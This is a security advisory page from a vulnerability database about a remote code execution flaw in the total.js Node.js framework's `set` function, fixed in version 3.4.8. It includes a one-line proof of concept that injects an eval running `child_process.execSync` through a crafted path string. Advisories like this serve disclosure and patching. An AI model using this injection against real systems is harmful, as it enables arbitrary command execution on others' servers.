GHSA-3wj8-vp9h-rm6m

    Dashboard / Vulnerabilities / GHSA-3wj8-vp9h-rm6m

    GHSA-3wj8-vp9h-rm6m

    Published: 19 Mar 2021Last Modified: 8 Jul 2026

    Summary: total.js Remote Code Execution Vulnerability

    Details: total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application. Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`. ### PoC ```js // To be run in a nodejs console: require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//') ```

    Affected packages

    Package

    Name: total.js

    Purl: pkg:npm/total.js

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.4.8

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-3wj8-vp9h-rm6m | CVE-DB